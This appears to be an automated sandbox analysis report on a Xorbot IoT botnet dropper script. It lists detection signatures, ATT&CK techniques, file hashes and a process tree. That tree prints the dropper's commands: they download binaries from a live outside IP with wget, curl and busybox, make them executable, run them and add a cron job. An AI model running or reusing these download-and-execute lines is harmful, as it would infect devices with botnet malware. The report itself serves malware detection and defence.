xorbot | bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942

Analysis

max time kernel
150s
max time network
162s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04-12-2024 10:29

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General

Target

bins.sh
Size

10KB
MD5

9233bf649a4624ec647262c74da69bec
SHA1

345be1eaa98aba4c1ff55ad977ea48281e6b60c3
SHA256

bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942
SHA512

285bf6e13dec59ea4792dd4b47b82cb53afe423ec49e009f716b2f6b6c4e9f28367ae08b4eb791fafae5f239a432c95e870562eb09fa24a3cb8237b657c85013
SSDEEP

96:/Ro+uSOePnaUgRdP4/EA4f/sUyyY7/Mc/k9/O/EA4f/aUyyY7//DgfRo+u7SOePQ:/uSOePnaVKLUyyY7/iyyY7/7SOePnQ

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1983) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
701	chmod
713	chmod
823	chmod

Executes dropped EXE 3 IoCs

Processes:

vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7

ioc	pid	Process
/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	703	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
/tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe	714	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
/tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7	825	9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7

Renames itself 1 IoCs

Processes:

eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

pid	Process
715	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.PsOPWp	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

description	ioc	Process
File opened for reading	/proc/2/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/8/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/772/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/885/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/800/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1016/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1040/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/75/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/275/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/307/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/771/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1021/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1028/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/741/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/751/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/796/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/820/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/912/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1058/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/21/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/407/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/774/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/801/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1026/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1003/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/805/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/829/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/884/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/909/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/951/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/947/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/999/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1035/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/660/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/814/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/828/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/934/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/945/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/769/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/804/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1031/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1037/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1076/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/677/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/793/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/974/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/9/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/22/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/28/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/321/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/668/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/736/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/986/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1060/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/1065/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/919/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/929/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/959/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/661/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/936/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/971/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/733/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/758/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
File opened for reading	/proc/818/cmdline	eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe	wget
File opened for modification	/tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe	curl
File opened for modification	/tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe	busybox
File opened for modification	/tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7	busybox
File opened for modification	/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	wget
File opened for modification	/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	curl
File opened for modification	/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:668
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:671
- /usr/bin/wget
  wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Writes file to tmp directory
  PID:676
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Writes file to tmp directory
  PID:699
- /bin/chmod
  chmod 777 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  ./vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Executes dropped EXE
  PID:703
- /bin/rm
  rm vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  - Writes file to tmp directory
  PID:710
- /bin/chmod
  chmod 777 eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  ./eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:714
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:716
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:718
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:720
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:721
- /bin/rm
  rm eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  PID:724
- /usr/bin/wget
  wget http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  2⤵
  PID:729
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  ./9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm 9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7
  2⤵
  PID:827
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZWVPhkXIU8Vwum1swVEG07DSWHdS2UwOvO
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/9eVMX6MmlzlRpG8YPjMIjK4AhBdDMewnA7

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.PsOPWp

Filesize
210B

MD5
815e81791a2cada694223f32f1956ae7

SHA1
1a2a78eab4ea41f5ff4b6422d2105b720c36c8bd

SHA256
7762b58254dbbc5f77aaa2a99d95ca62a21eb47ccc73a48ae6bdd6065d359ea6

SHA512
547544ca1cad0a37dac22eb34fc22abba47decb951e678fee8974dca5586dfd5f152364f3ce66a7563ba693167e462a1477da3a49da8047d7e255eaf49b13c3a

Download Submit